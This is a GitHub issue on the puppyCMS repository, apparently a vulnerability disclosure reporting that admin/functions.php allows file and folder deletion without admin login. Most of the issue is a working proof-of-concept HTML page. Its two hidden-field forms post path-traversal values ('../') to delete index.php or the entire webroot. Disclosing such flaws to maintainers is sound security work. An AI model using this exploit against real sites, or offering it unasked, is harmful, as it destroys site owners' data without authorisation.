choregus / **puppyCMS** Public

Code · Issues 6 · Pull requests 1 · Actions · Projects · Security · ...

New issue

Jump to bottom

There is a Arbitrary File Deletion vulnerability that can remove everything without admin login. #15

○ Open **Abstin** opened this issue on Mar 27, 2019 · 0 comments

Abstin commented on Mar 27, 2019 • edited

The vuln file is '/puppyCMS/admin/functions.php'.
No need to login to admin, open the following one page.
rmexp.html--delete file/folder

```
<html>
<head>
<title>File Upload Form</title>
</head>
<body>
<script>var page = "http://127.0.0.1/puppyCMS/admin/functions.php";</script>

This form allows you to remove /index.php.<br>
<form id="test1" action="" method="post"><br>
<input type='hidden' name="deleteFile" value="index.php" />
<input type='hidden' name="path" value="../" />
<input type="submit" value="Submit">
</form>
<br/>
<br/>
<br/>

This form allows you to remove the entire puppyCMS webroot dirctory.<br>
<form id="test2" action="" method="post"><br>
<input type='hidden' name="deleteFolder" value="../" />
<input type="submit" value="Submit">
</form>

<script>
document.getElementById("test1").action = page;
document.getElementById("test2").action = page;
</script>
</body>
</html>
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant